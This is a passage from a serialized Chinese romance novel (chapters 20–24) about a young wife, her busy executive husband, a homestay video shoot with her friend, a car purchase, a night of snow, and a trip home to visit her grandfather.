后来,周庭朔在黑暗中再次吻到她的侧脸时。 夏声慌忙制止他:“你适可而止!” 她声音里带着潮湿的热意,大概被折腾得有些脾气,语气算不上好。 周庭朔见好就收,停下动作。 随后,低低笑了声:“看来,检验还算合格。” 夏声浑身发沉,半点力气都提不起,懒得跟他讨论什么合不合格的事。 甚至后来都只能由着他抱着自己去浴室。 等再回到床上,她几乎是立刻就陷入沉睡。 周庭朔洗漱完再回来,发现她十分放松地躺在床中间,胳膊搭在他的枕头上,似乎一点没想给他留地方。 他无声笑笑,放轻动作上床,将她的手拉下来,随后将人纳入怀中。 睡梦中的夏声喃喃呓语,只能零星听到几个词语,但控诉的语气让他的表情柔和起来。 他低声回答她:“我这不是欺负你。” 20-30 第21章 第21章没她睡不着 第二天一早,夏声在浴室里愁得直叹气。 镜子里,白玉般的脖颈上,深浅交错的红痕怎么看都扎眼。 没办法,她只好套了件高领毛衣。 周庭朔依旧一大早就不见踪迹,她醒来时并没见到人。 徐姐给她留了早饭,还说周庭朔叮嘱了让她一定要吃。 “先生说你肯定饿了。” 夏声咬着牙,干笑着将早饭吃掉,又收拾了些行李,随后便去找安真。 安真账号已恢复更新,这几天她要拍一个网红民宿的测评。 好说歹说一定要她陪着一起去住两天。 昨天两人定好,今天出发,务必赶在夏声出去旅游前,把视频拍了。 民宿在相对偏远的城北,车程较远,没多久夏声就犯了困。 不论安真聊什么,她都是昏昏欲睡的样子。 在她第八次“嗯,然后呢”的敷衍后,安真将她从座椅上拉起来。 “老实交代昨晚你干什么坏事去了,困成这个鬼样子。” 夏声揉了揉眼:“没有啊,就是坐车爱犯困。” 实际上,昨天晚上那一番折腾后,夏声又去洗澡吹头发,再躺上床都十一点多。 加上浑身又酸又累,睡那一觉根不解乏。 安真狐疑地打量她一遍,警告道:“等到了民宿,你可不许说困了就跑去睡觉。” “要陪我拍视频呢!” 果然不给她划水的机会,从下车开始,安真已经将她们的行程安排的严丝合缝。 先是拍白天民宿内外的景色,软硬件配套,然后又去到周边,拍吃喝玩乐的地方。 晚上还要记录民宿的活动。 每个内容,都要十几个镜头,远景近景分镜好不麻烦。 跟着她拍一天,夏声觉得当网红也没那么简单。 入夜,两人总算能坐上一会。 民宿每晚会组织住客露天烧烤。 豁大的院子,几张木桌长凳,旁边摆着各种桌游。 院门口的槐树下,另有几排躺椅,枕臂躺上去,闻着浓郁的肉香,抬头刚好能看到夜幕星河。 只不过,此时天有点冷了,大家都围在烤炉旁一起烤火。 民宿老板是个文艺青年,穿着宽大的工装衣,弹一把吉他清唱。 安真撞了撞夏声的肩膀:“我看这老板也是眉清目秀。” 知道她什么德行,夏声赶紧浇灭她的心思。 “你可歇歇吧,祁大公子的事还没弄清楚,别给自己找麻烦。” 安真举起相机,按下拍摄键。 “说什么呢,我是指能拍到视频里,作为这个客栈的一大卖点。” 手机提示音响起,夏声低头解锁,发现是周庭朔的信息。 【你在哪?】 看了眼时间,已经九点多,大概是他已经回家了。 夏声这一天被安真安排得忙不胜忙,一不小心忘了跟他说自己出来了。 她将定位发给他。 【陪安真出来拍视频,今天不回去了。】 没多久,电话打进来。 恰逢客栈老板一曲终了,众人鼓掌吹哨,好不热闹。 夏声起身到院门外接听。 “怎么了?” 身后吵闹声落幕,对面才开口:“你住的是个民宿?” 夏声裹紧羽绒外套“嗯”了声。 “安全吗,你们几个人?”他顿了顿,问,“附近警局离那多远?” 不过是住个民宿,夏声没想到他顾虑到这么多。 她抬头看了眼面前的水泥路,单行道,连路灯都稀稀拉拉,倒也确实有些偏僻。 “没事啦,安真跟我一起呢,是个网红民宿,住的人不少,不会出事的。” 对面沉默片刻,没再多言,只问了她要住几天。 “明天就回,不用担心。” 两人又浅聊几句才挂断电话,一转身,她才发现安真正贼兮兮地靠在身后的门边上看她。 “没事啦~明天就回~” 她拿腔作调地学着夏声刚刚的话,一看就是笑话她。 “没想到你家听说哥这么粘牙,不过出来住一晚,就问东问西的。” 夏声捶了她一拳,拉着她往回走。 “别瞎说,是我忘了跟他说今天出来的事,家里没人他肯定要问啊。” “行,随你怎么说咯,反正我听着肉麻。”她作势搓了搓肩膀,像是抖落一身鸡皮疙瘩。 夜间活动结束已经十点多,夏声本想等安真先洗漱,但她忙着倒素材,只好她先去。 毫无意外的,当她出来时,身上的秘密藏不住一点。 安真趴在电脑前,捂着嘴坏笑着看她。 少不了被捉弄一番,两人闹够还是挤在一张床上说悄悄话。 安真难得正经一回:“其实我觉得,听说哥也还不错。” “有钱有颜有人品,身体也……”被夏声戳了一下,她重新措辞,“也挺好,而且我看他对你,还挺上心。” “这么看来,也没什么短板。” 窗外的月光透过纱帘,在床上映出稀薄的银光,安真转过身就着月光看她。 “你对他什么感觉?” 这个问题难倒她,对于他们两人而言,好像一直都是到了哪个时间点,就做对应的事,顺其自然推着走。 比如领证,比如同居,比如履行夫妻义务。 夏声斟酌着:“应该是不讨厌吧。” “就这?”安真没听到满意答案,又问,“你没有点喜欢他吗?” 有吗,夏声给自己也打了个问号。 两人又聊了几句,夏声实在太困,不知什么时候就睡着了。 转天早上她们还有安排,民宿旁有一块地,扣了温室种草莓。 一早起来,又摘草莓又拍摄,就过去大半天。 都是自家种植,也没怎么打药,夏声尝过味道不错,于是要了两只泡沫箱,挑些饱满成熟的放进去,一并带回家。 剩下点时间,又去旁边的农家大棚,采了些绿色蔬菜。 安真急着回去剪素材,视频要赶在元旦假期前发出去,一回到市里就跟她分道扬镳。 夏声路上提前给薛宁玉打了电话,于是先去西苑送菜和草莓。 薛宁玉想留她下来吃饭,但夏声跑了两天有些累,就推说晚上还有事,先回去了。 周仪娇出来送她,神秘兮兮地跟她说了些八卦。 “你猜我哥公司里都怎么说的。” “说老板是个老婆奴,已经狠狠被太太拿捏了。” 她才去过两次,就有这种传言,小道消息通常都是越传越离谱,夏声没忍住笑。 “这话让他听见还不气死。” “再说,谁能拿捏得了他。” 司机站在门边等她,周仪娇凑到她耳边悄声嘀咕。 “他还真听见了,据说板着脸,扔下一句‘公司不是闲聊的地方’就走了。” “他没否认哎。” 她显然一副磕到了的表情,真信了那八卦。 周庭朔大概觉得没有解释的必要,没想到在她们眼里,成了坐实。 夏声反驳:“信这个,不如信我是秦始皇。” 回到家的夏声将剩下的草莓放到冰箱,洗漱完本想先补一觉,可金楠楠一直给她发消息。 点开对话框,好几张不同男生的照片。 【夏声:?】 【金楠楠:怎么样,我老家还是有不少高质量男性吧。】 【金楠楠:看上哪一个了,我提前帮你下手。】 没想到她真把这当回事了,放假回家还想着。 要说她发来的男生确实还可以,只是夏声点开来看,心无波澜。 客厅传来开锁声,夏声关掉手机出去,发现是周庭朔回来了。 今天他倒很早,只是神色冷淡,低垂着眼睑,似乎心情不太好。 得体的黑色西装,配上他线条明晰的冷脸,有种肃凛的低气压。 夏声清了清嗓:“你回来了。” 似乎这才注意到她,他挑起眼皮缓和神色:“嗯。” 两人没多做交谈,他很快便回房间。 夏声去厨房,将冰箱的草莓拿出来,洗干净放到玻璃碗里。 再出来时,他换了身运动装,宽肩窄腰,倒是穿什么风格都适配。 夏声转身出来:“你要出去运动?” “跑步。” 这是他消化情绪的方式,最近北美的基因项目停滞,公司里支持砍项的声音越来越大,现在就是两难选择。 他需要清空下思绪,正抬腿往外走,看到她怀里抱着的草莓,又停下。 夏声端过来给他:“尝尝?我从民宿自己摘的。” “特意带回来的?” “嗯。”她拿起一颗,放进嘴里,“还给西苑那送了些。” 见他一直没动作,只是看着,夏声低头挑了一个又大又红的递给他。 “喏。” 嫩白的手指捏着殷红的草莓,一滴水珠顺着她指尖没入掌心,像是引他品尝。 周庭朔顺势低头含下,薄唇在她指尖擦过,随后离开。 清甜的汁水混合着自然果香,瞬间填满他整个口腔,食欲的满足总是最干脆直接。 “很甜。”他不吝赞许。 夏声没想到他直接张嘴接,手指缩回掌心,道:“那不耽误你运动了,草莓我放冰箱,你回来可以继续吃。” 当天晚上,徐姐要做芥末虾球,夏声最爱这道菜,于是也跟着学。 周庭朔回来时见她在厨房里跟徐姐聊天,后者照例跟他打招呼,他心情好很多,抿唇点头。 洗过澡出来,刚好听到她们两人对话。 家里地暖很热,夏声只穿了家居服坐在桌前,徐姐摆好菜,指了指她脖子上浅浅的痕迹。 “这是怎么了?” 夏声尴尬:“可能……昨天住的民宿,床单不太干净吧。” 留下“不太干净”痕迹的本人坐在她对面,面对她埋怨的目光,神色坦荡。 “不干净以后就尽量别去住了。” 徐姐搭腔:“是,哪里也不及家里干干净净。” 夏声:…… 吃过饭,夏声把留下的半箱草莓给徐姐带回去,她家有个小孙子,正好可以吃。 徐姐走后,福宝在屋里转一圈,跑到落地窗前的软垫上,团成团眯觉。 夏声也想去睡,但是秦莫刚给她发了整理好的待办清单。 借壳经营还是有风险,她们最后决定自己注册。 要做的事很多,跑工商,开户头,注册法人,桩桩件件都要她去跑。 眼看还要出门几天,她得一件件规划好,这些事怎么做。 周庭朔在书房忙到九点多,回到卧室发现并没有人。 床还是那个床,可看着空了一半的位置,他竟睡不下去,一如昨夜。 几分钟后,他又起身出去。 客厅的灯倒是大亮,只是放眼望去也没看到她,他向前走了两步,才在沙发前的地毯上,发现支着脑袋昏昏欲睡的夏声。 茶几上的电脑被突然合上,夏声猛一清醒,抬头发现周庭朔正站在她旁边。 “哦,你忙完了?你先睡吧,我还有一点,弄完就好。”说着她又掀开电脑屏幕。 颀长的身影俯下,电脑再次被合上,低沉的声音带着不容质疑的语气。 “去睡觉。” 第22章 第22章不想给他看 被安置到床上的夏声,没等他有下一步动作,整个人就缩进被子里。 眼睛盯着他,警戒拉满。 正准备关灯的周庭朔瞥了她一眼:“不闭眼睡觉,还想做什么?” 夏声瞬间合上双眼,反应时间不到零点几秒。 卧室一片黑暗。 安静不过一分钟,手机提示音一条接一条。 下午没得到夏声回复的金楠楠开启追问模式。 【怎么没信儿了,不会是都太好了挑花眼吧!】 【我知道你眼光高,帅哥学霸都瞧不上,所以给你发的都是精品,我妈都快以为我要毕业做媒婆了。】 【快,表个态啊。】 她滑开手机,看到的就是这一连串消息,迅速回了对面两句,又将手机静音,塞到枕头下。 安静了几个呼吸,正当她准备好入睡时,身后传来周庭朔冷淡的声音。 “所以,看上哪个了?” 卧室灰暗,手机屏幕的光实在醒目,而他的视力又好得过分。 夏声并不心虚,又没做亏心事。 “你不都看到了,我回绝了,一个都没看上。” “嗯。” 旁边的被子微动,似乎是他调整下姿势,夏声以为他要睡了,又听他问。 “学霸是谁,你之前发错信息的对象?” 夏声没想到他还记得这茬,并且能精准地将两件事联系到一起。 “你同学是不是都不知道你结婚了。”黑暗中他的声音格外沉冷。 夏声坦诚告知:“我们又没办婚礼,她们不知道正常。” 宣布结婚也不只有办婚礼一个途径,他直言:“你没发朋友圈。” “你不是也没发?” 他的朋友圈干干净净一道横线,全新的,她的朋友圈上一条还是四年前,就四个字“京市,你好”。 两人不发,都很正常。 “我身边的人都知道,我已婚。”他补充。 夏声沉默。 这段对话太过吊诡,像两个小学生在争论桌上的三八线是否画得公平,无聊且幼稚。 重点是,周庭朔怎么会在意这些。 明明之前他也没提过。 卧室又陷入熬人的寂静。 半晌,他声音淡淡:“睡吧。” 接着翻身过去,留下一个漠然的轮廓。 不知是不是睡前想了些有的没的,半夜夏声做了个不太愉快的梦。 梦里,七岁的她第一次考了一百分。 老师奖励她一个崭新的笔记本,还有一包巧克力饼干。 她撕开包装尝了几块,又留半袋想带回去给爷爷分享。 前座的小胖子理直气壮要她分几块,可他嘴馋,一吃定是渣都不给她留。 夏声拒绝,他反来抢。 两人互不相让,小胖子还掐紫了她的手背。 闹到双方被请家长,夏国理讲理惯了,不与对方多争论,默默带她回家。 出校门时,小胖子牵着爸妈的手,贱兮兮地冲她喊。 “谁要你的臭饼干,我有爸妈会给我买,你就只能吃老师给的,没人给你买。” 小时候的夏声没哭,因为爷爷为安慰她,立刻去便利店给她买了很多吃的。 但梦中的夏声哭了,那是后知后觉的委屈。 周庭朔一直没睡,他睁眼躺着,直到身旁的呼吸变得平缓均匀。 随后掀开被子,去了书房。 再回来时,已是午夜。 身旁人好像睡得并不安稳,含糊不清地呓语,还有隐隐地啜泣。 像是……哭了。 周庭朔叫了她几声,人却一直没反应。 直到他握住她单薄的肩膀,用了些力,将她转过来。 夏声沉浸在梦中,乍然被推醒,人仍处于迷茫之中。 胸腔里未了的情绪仍在酝酿,黑暗中只听到有人在问。 “你怎么了?” 周庭朔想去开灯,她反应过来,猛地拉住。 “别开。”声音带着颤,急促地制止。 他收回动作,语调低缓:“好,不开。” 夏声重重吸了口气,又慢慢吐出去,试图快速缓和情绪,却收效甚微。 就像压下的弹簧,越要用力,越会反弹。 她索性将胳膊盖在眼皮上,隔着睡衣袖子,使劲压了压。 “没事,做了个梦。”她故作轻松,“梦见小时候跟一个小男孩抢东西,没打过人家,气得。” 但那不是梦,而是她曾经的真实经历。 周庭朔沉默坐在另一边,转过身体对着她,明明应该看不见,手指却精准的摸到她鬓间的濡湿。 “你想哭就哭,不要压着。” “哭不是什么见不得人的事,在我面前更是。” 委屈的人最怕安慰,见血的伤口没人理片刻就结痂了,可要有人又吹又呼,就疼得不行。 夏声本快干了的眼,又变得潮湿一片。 “我没哭。” 明明声音哽咽着,却仍不肯承认,周庭朔默默调整姿势,面对她躺下。 坚实的手臂将她拉进怀里,温热的手掌在她背后捋顺。 开口,语气哄人:“嗯,没哭,反正我什么也没看见。” 看不见,却可以感受。 她滚烫的泪沁过他的睡衣,在他胸前留下一片凉意,他只能猜测,这大概是她并不美好的童年,留下的烙印。 一室黑暗下,夏声窝在坚实温暖的怀抱里,耳边就是他沉缓的心跳,一下两下,很快让她的平静下来。 半晌,她低低开口:“明天醒来,你就要忘了这件事。” 做个梦哭成这样,怎么不算丢脸。 他的下巴搁在她的发顶,轻轻点了点:“好,睡吧。” 这一觉,她终于睡踏实。 醒来时已经日上三竿,身边依旧没人。 眼皮微微有些肿,喉咙也干得难受,她出去倒水,被徐姐看到。 她一向热心,赶忙来问:“这是怎么了?” 又取出冰块拿毛巾包着递给夏声:“眼睛怎么还肿了。” 夏声接过来,在眼睛上轻轻敷着,笑笑说没事。 徐姐想起,今天一早她来上班时,周庭朔就已经不在家,难不成两人吵架? 她接杯温水给夏声:“哎呀,小两口过日子,哪有舌头不碰牙的。” 听出她误会,夏声出声解释:“不是吵架,就是没睡好。” “嗯,不管怎样,夫妻没有隔夜仇,可不能一闹别扭就谁也不理谁。” 看来是解释不清了,夏声放弃。 吃完早饭眼睛也消得差不多,于是换衣服出门。 今天又约了几个房产中介,办公场所要尽快定下来。 后续还要简单装修,购置设备和家具,这样年后才能有个雏形。 本来今天她想跟秦莫一起,但对方跟原公司定了今天办离职手续。 夏声一个人也能看,到时候给她发照片商量就好。 她花了几个小时又看了好几处,挑出两个还不错的,准备之后一起询比价。 走了好几个地方,夏声的脚有些酸,站在路边打车的功夫,又提起买车的念头。 反正今天有时间,夏声又去了4S店。 销售很热情,根据她的需求介绍车型,还极力推荐她去试驾。 只是自从大一暑假考下驾照,夏声就没再摸过车,一时不敢上手,只能让销售开车带着她感受一下。 刚试到第二辆,周庭朔电话打来。 跟欧洲药监协会的磋商集中在这两天,昨天欧标准字却突然变动,标准的细微调整,都可能直接影响明箴后续产品入欧。 今天他大概要熬夜跟进,所以特意来电告诉她。 “那你住哪,公司连轴转吗?” “办公室里面有休息室,或者旁边的酒店睡几个小时。” 车子已经停回4S店,夏声解开安全带下车,跟销售示意自己先打电话。 销售退到一边:“那夏小姐,我在里面等您。” 对面显然听到,顿了顿问:“你现在在哪?” “4S店呢。” 其实刚结婚时,周庭朔就提过给她配一辆车,但她平时多出入学校,开车反而不方便,就拒绝了。 但以后做公司免不了要跑业务,还是有辆车好。 他沉吟片刻:“家里还有几辆闲置的,你可以选一辆开。” 周庭朔的车至少都是七位数,她开着几个人的小公司,开那么乍眼的车,实在是货不对板。 于是半开玩笑地拒绝:“不了,等我身价赶上你的时候,你再送我。” 对面无声笑笑,叮嘱:“ 你自己买也行,别的都好说,车的安全性放第一位。” “如果实在不懂参数性能,可以发给我看看。” 他那么忙,买个代步车的小事,着实没必要。 夏声应承着,秉持基本关心,又道:“你加班也注意休息,记得吃饭。” 挂断电话,她又看了几家店,但始终下不了决定。 出了店正准备走,身后传来鸣笛声。 回头,一辆黑色迈巴赫停在她旁边,车窗落下,卓冕笑着同她打招呼。 “好巧。”她笑。 他看向她身后出来的地方:“要买车?” 见她点头,又问:“订好买哪个了吗?” “还没,有些犹豫。” 说话间,他解锁车门,让她上车。 “说说有什么要求,我可以带你去看。” 夏声下意识拒绝:“不用,我大概看看就行。” 可卓冕却坚持:“正好我有个朋友也要买车,带你看的时候,也帮他看看。” 盛情难却,她只好上车。 等她说完自己的需求,对方只带她看了两家店,就找到心仪的车型。 还是有个懂车的人一起,效率更高。 过程中,他又帮忙确定配置,保险等细节,各方面都没问题,夏声直接付了定金。 这么快就解决一件大事,她是一定要感谢了。 “上次就说好请你吃饭的,今天兑现。” 卓冕温眸看着她,却摇摇头。 “吃饭不急,我还有另一件事,想你帮忙。” 第23章 第23章必须一起住 临近新年,各家商场布置一新,彩灯海报铺满,颇有节日氛围。 来时路上卓冕已经说明,想要夏声帮他选个礼物。 “送一个女孩,年纪跟你差不多大。” 夏声无意打探别人关系,只是送礼物也不能完全盲选。 “是亲属,普通朋友,还是在追求的异性?” 卓冕笑问:“怎么不猜是女朋友?” 彼时两人刚踏进商场大门,夏声惊讶,作势就要走。 “女朋友我就不能帮忙了,人家的礼物得你自己亲自选。” “如果对方知道你偷懒让别人选礼物,没准心里会不开心。” 话已至此,卓冕当即解释,不是女朋友。 “是长期合作客户的女儿,礼节性送些东西,维系关系。” 想必是大客户。 两人先是去了香水台,试香时夏声手上挎着包不是很方便。 卓冕本准备接过来,夏声摆摆手。 “不碍事。” 柜姐将经典款,和新年特别款一一介绍给她。 香水是凸显个人风格品味的东西,大众香稳妥,但会显得不用心,而过于独特的香型,又怕对方不能接受。 试了一会,没有找到特别适合的,夏声决定放弃香水,最后选了C家的经典山茶花方巾。 “新年伴手礼的话,东西不必太贵重,方巾可以搭配衣服,或者系在提包上,小配饰也实用。” 卓冕爽快结账,又让SA包了礼盒:“果然找你帮忙没错。” 选完东西,两人就近一起吃饭。 闲聊中,卓冕无意问起周庭朔怎么没陪她出来看车。 夏声支着下巴看窗外:“他?忙得不见人,哪有时间。” 旋转餐厅是整圈的全景玻璃,居高临下,是极佳的城市夜景观赏地。 向西南方向望去,刚好能看到明箴大厦。 夏声眯起眼睛默数到三十层附近,果然灯火通明。 一餐饭,她时不时抬头看向远处的大楼,吃得有些心不在焉。 卓冕默默看在眼中,神色沉寂。 饭后夏声抢着结账,生怕又欠对方一顿饭。 两人走出餐厅,刚好卓冕遇到熟人,需要聊两句,夏声便独自下楼。 没想到外面竟飘飘扬扬下起雪来。 地上薄薄一层,应该是刚刚落雪。 此刻天已全黑,夏声走到门外广场上,抬头望着雪落下的方向,随手接几片雪花,冰冰凉凉的触感,瞬间化为清水。 “竟然下雪了。” 慢她一程走来的卓冕,站在她身后半步的地方,看着雪落在她的发顶,眸光柔和。 “嗯,今年的雪晚一些。” 广场上,不少年轻男女拿出手机拍照,大家对雪的喜爱一如既往。 夏声同样爱雪,她的老家在南方,很少能看到。 第一年来京市时,才经历人生的第一场大雪。 她兴奋地在楼下雪地玩了几小时,笨拙地堆个雪人,还拍了几十张照片留念。 这两年见的多了,倒比从前淡定。 站了一会,夏声的驼色大衣上已落了薄薄一层白。 卓冕上前,打断她的沉浸式赏雪。 “天冷,我送你回去吧。” 夏声收回手,裹紧大衣:“不了,我想自己走走,一会打车回去就行。” 卓冕还想说什么,她已经摆摆手独自到马路边等红绿灯。 这一场雪,从开始的稀稀散散,到后来的簌簌飘落,越下越大。 昏黄的路灯下,大朵的雪花顺着风的动向,扑涌而来。 擦过树梢,再落到她的眼睫上。 夏声拿出手机,对着夜空中的大雪拍了几张照片,发到学校寝室群。 【夏声:你们回家早了,京市下雪了。】 【沈习诗:啊啊啊,我刚走啊!还我妈生浪漫初雪夜!】 【赵茹:别喊了,让你晚走一天跟要你命一样。】 【沈习诗:那我是妈宝女嘛。委屈.jpg】 夏声笑笑,又独自赏会雪才回家。 刚进家门,手机上周庭朔的名字跳出来。 夏声将大衣挂到门边的柜子里,接通。 对面低沉的声音传来:“回去没,车选的怎么样了?” 桌上堆积的文件如山,周庭朔难得喘口气,想起买车的人也没再给他发信息。 听筒里传来福宝的喵喵声,像是在撒娇,他脑海中浮现夏声蹲在地上摸它肚皮的画面。 “已经到家了,下雪了,在外面看了会雪。” 周庭朔一直埋头工作,外面下雪也没注意。 新产品入欧是明箴制药今年最重要的战略目标,本来赶在年尾可以顺利完成,临门一脚出现差错,他必须亲自盯着。 电脑屏幕上是第二版的实验数据报告,他看得头疼,起身走到百叶窗前。 窗外一片纯白,城市的喧嚣暂时隐去,变得和谐静谧。 他将视线落远:“这两天,我可能比较忙,不见得有时间回去。” 夏声很快回答:“没关系,你忙你的。” “实在抽不开身,过两天我自己回去看爷爷就好。” 他们的机票就定在两天后,行程一共五天。 周庭朔不是言而无信的人。 “约好的事,我不会食言。” “还有,车选好了刷卡就行,卡给你是要用的,不是让你替我保管。” 那张他给的黑卡,夏声确实一次没用过,家里的日常开销都是他安排,她根本没什么花销。 身后的电脑邮件弹出新提示,周庭朔余光瞥着,沉默一瞬。 “好了,你自己早点睡。” 电话挂断,周庭朔回到电脑前点开邮件,随后内线通知助理。 “告诉海外部,十分钟后二十三楼开会。” 这边,夏声换好衣服,拿了把密齿梳给福宝梳毛。 最近可能因为家里地暖太热,它掉毛又多起来。 享受着独家服务的福宝,呼噜声不断,夏声一边梳毛一边打开朋友圈看。 初雪,很多人都拍照发圈,夏声随手翻着,结果看到一张意料之外的照片。 一张公寓楼下的空景,孤单单的路灯和一个人的影子。 配文:等你。 夏声仔细看了眼,这不就是安真新住址的楼下,再一看发出人,是祁家骏。 潇洒浪荡的公子哥,搞上深情戏码? 迅速给安真发信息,问是什么情况。 【安真:他有病,我都去外地了,他还在那守着,演给鬼看呢。】 【夏声:他知道你不在家吗?】 【安真:我哪知道他知不知道,反正我懒得理他 。】 【夏声:……】 虽说她无条件站闺蜜这边,但大冬天的下着雪,好歹让人知道家里没人啊。 想了想,夏声评论:她没在家,去外地了。 很快,他回复:我不信,她让你骗我的吧。 夏声无语,懒得再说,关掉手机去洗漱。 等再出来,评论又多两条。 卓冕回她:他大概是自己入戏了,由他吧。 任珩:骏哥,冻感冒了可别传染我。 夏声摇摇头,不再理会。 马上要回老家,夏声心情也雀跃起来,提前一天,她就将自己的行李收好。 福宝围着箱子转,夏声不忘跟徐姐嘱咐,每天陪福宝玩一会。 徐姐还惦记着前两天他们“吵架”的事,在夏声明确说明是两人一起去,才放心。 “那先生的行李不收吗?” 他这两天忙得都没时间回,夏声犹豫一会,发条信息给他。 【需要帮忙收拾行李吗?】 这次他倒是回的很快。 【方便的话,帮我简单收一下。】 夏声没帮男人整理过行李,找个空的行李箱出来,就坐在床上思考。 最后还非常严谨地上网搜了下,男士履行必备品。 花了一小时整理齐全,便只待第二天出发。 直到登机前,夏声都不确定周庭朔是不是真的能去。 她独自赶到机场,值机完给他发了信息。 头等舱除了她还有另外两名乘客,她旁边的位置空着。 还有不到十分钟,登机口就要关闭,夏声沉默看向舷窗外,原本因回家而晴朗的心情,不知为何掩上一层阴霾。 她暗暗后悔,早知道不带他行李了。 正想着,身边的空气流动,夏声回头,发现两天不见的人已到她旁边。 周庭朔明显是匆忙赶来,大衣上还带着寒气,神色略有倦意,半垂的眼睫下是淡淡的乌青。 “抱歉,路上耽误点时间。” “没关系,你又没迟到。”她心里的阴霾,又缓缓散开。 飞机起飞后,夏声一直保持着安静,不过十分钟,他便靠在椅背睡着。 她无声向空乘招手,要了薄毯给他盖上。 两个小时后,飞机落地。 夏声的老家,是空气中都飘着辣香的锦城,这里比京市要温暖许多,气候也更加潮湿。 呼吸着熟悉的空气,夏声满足地弯了嘴角。 “要不你先休息,我们晚点再去看爷爷?”她贴心地提议。 周庭朔经过一个多小时的休息,已疲态尽扫,接过两人的行李大步往前走。 “不用,别让老人家等。” 夏国理如今住在大女儿家,前两天在西南一医检查完,刚出院两天。 夏声姑姑家是回迁小区,里面很多邻居都认识,看到她领着个又高又帅的男人回来,都凑过来打招呼。 “夏声回来了,放假了吧。” “哟,这是谈男朋友,带回来见家长了?” 几个大娘,说话间还不住地打量着周庭朔。 他鲜少面对这种场面,却淡笑着先开口:“我不是她男朋友。” 众人话头一收,都看向夏声,没办法她只能如实回答。 “嗯,不是男朋友,是我丈夫。” “我们已经结婚了。” 路上小插曲结束,周庭朔的心情似乎更好,嘴角明显有上扬痕迹。 上楼到门口,刚敲了两下,门就开了。 夏春燕堆着笑脸,热情地迎他们进去。 “刚刚在窗口那看见你们到楼下了,冷不冷,快进来。” 周庭朔在身后将带着的一众礼物递过去:“姑姑。” 夏春燕忙在围裙上擦擦手,接过。 这个姑姑对夏声说不上多亲,但对老人还算孝顺。 “看看,来就来吧,带这么多东西。”顺便转头跟丈夫使了使眼色。 带来的礼物没有便宜的,就连给夏国理的补品,都是薛女士提前亲自选好,特意交到周庭朔手里,让他不要失了礼数。 夏声换下鞋子,向里间看:“爷爷呢?” 说话间,老爷子已经从卧室出来,拄着拐杖的手微微有些颤,但仍旧眼神清亮,精神矍铄。 夏声立刻走过去挽住他:“爷爷我回来了,想我没。” 老爷子笑着拍拍她的手,目光落在他第一次得见的孙女婿身上。 “来了。” 周庭朔微微颔首:“爷爷。” 一见面,爷俩间的氛围冷淡又疏远,老爷子明眼观察着,不知心里想的什么。 夏声被赶去厨房帮忙,等再出来时,两人已一起品上茶,一问一答聊得好不投缘。 她疑惑,眼神询问,周庭朔却稳坐茶桌,悠闲地喝着茶, 一顿饭吃得和和气气,连一贯爱挑刺的大姑夫都态度和缓,跟周庭朔聊得有来有回。 入夜,两人才从那离开。 姑姑家就两居室,住不下这么多人。 夏声承诺明天再来看爷爷。 走在路上,夏声不免感叹:“平时话那么少,到这怎么那么会聊天,一家人都被你哄得高兴。” 周庭朔兀自笑笑:“那你不是应该高兴,少了很多麻烦。” 两人说着话,就到夏声原来的家,她回身指指对面的酒店。 “我给你订好房间了,2007号房,你去吧。” 周庭朔眉头一皱:“你呢?” “我当然回家住。” 对面的人沉默片刻,忽的上前一步。 “我陪你回家,你让我一个人住酒店,这是你的待客之道?” 夏声仰着头,退一步他就进一步,于是抬手推他。 “我家环境肯定不比酒店,怕委屈你。” 可他并不吃这一套:“要么一起住酒店,要么一起去你家。” 第24章 第24章确定要在……上?…… 几十年的老楼,设施陈旧,甚至没有电梯。 两人爬到五楼,夏声跺脚叫亮声控灯,掏出钥匙开门。 老式防盗门“吱呀”一声,顺着身后幽暗的灯光,能看到玄关狭长一条。 等她按亮房间的吸顶灯,不大的客厅尽入眼帘,里面家具都蒙着布,显然许久没人住。 夏声又问他一次:“你确定要住这?” 他走进玄关,将身后的门合上:“确定。” 不是夏声不想他住家里,而是原本她的卧室,只有个不到一米五的单人床,而夏国理房间的床已经搬到姑姑家去。 要么两人挤一起,要么一人打地铺。 全都不是好选项。 夏声一边收拾,一边思考一会怎么睡的问题。 打水,擦地,更换床单,一间屋子的卫生,她不到一小时全部搞定,显然以前常做这些。 而周庭朔只负责规整行李,还没她速度快。 两人先后去浴室洗过澡后,夏声抱起一床被子,准备出去。 周庭朔叫住她:“去哪?” 夏声看了眼自己睡了快十年的床,从来没觉得它这么小过。 “这里两人睡太挤,我去隔壁房间。” 行动快于言语,周庭朔上前将她的被子接过来,放回床上。 “不挤,就睡这。” 见夏声不动,他投来视线:“你想一回来就感冒吗?” 南方的冬天虽说不冷,但没有暖气的室内,睡地铺也需要勇气。 最终还是两人各躺一边,关灯,睡觉。 夏声房间那张鹅黄色窗帘并不太遮光,月色隐隐透过来,洒在被子上。 她凝神静气,直直躺在自己这半边,不敢有太大动作。 可随着时间流逝,她只觉得越躺越累,后背都硬得发麻。 身边的呼吸声始终均匀平缓,她犹豫片刻,向外翻身。 只是空间实在有限,她一曲腿便探出床外,于是只能悄悄向后挪一寸。 随后,她的后背好像碰到了什么。 想再往前,身后的床垫微动,一只手臂横过她的腰间,将她向后拉。 很快,她陷进一个温热的怀抱,细微的吐息落在她耳后。 “床就这么大,别乱动,快睡。” 身后人再没有其他动作,说完这句话又安静下 来。 腰间的手并没有收回,虚虚搭着,随着两人的呼吸浮动。 夏声想起他连着加班几天,没有任何休息就陪她飞来,终究作罢,不知不觉中,也沉沉睡去。 第二天一早,周庭朔是被一阵小贩的叫卖声吵醒。 他看眼挂钟,发现已经八点多。 许久未睡到过这个时间,他转头看向身边,空空如也。 拨给夏声的电话很快被接起来,她那边似乎更热闹。 “你醒了?我来陪爷爷逛早市,你再睡会吧,回头我回去叫你吃午饭。” 挂断电话,周庭朔并没有多躺,而是直接起床去洗漱。 老爷子退休这些年,事越来越少,觉也越来越少,平时起得早就爱去逛个早市。 夏声陪着他转了一圈,两人吃了热乎的肥肠粉才回。 走到楼下,才发现周庭朔已经到了。 楼下有大爷遛鸟,几人对着鸟笼聊得火热,周庭朔双手插在大衣口袋,静静站在不远处听着。 初晨的光在他身上镀上一层暖黄,打出柔和的侧影,满是一幅市井中岁月静好的画面。 夏声不由多看两眼。 发现两人,他几步走来:“爷爷,回来了。” 夏国理笑着点头:“声声都跟我说了,你前阵子加班工作忙,怎么不多休息会。” 他看了夏声一眼,站到另一侧,搀扶着老爷子。 “回来该多陪陪您。” 老人哪会不知趣,中午刚吃过饭,就将两人赶走,名曰自己要休息,他们待在这闹腾。 两人一下得闲,夏声担起导游职责。 “你想去哪转转吗?” 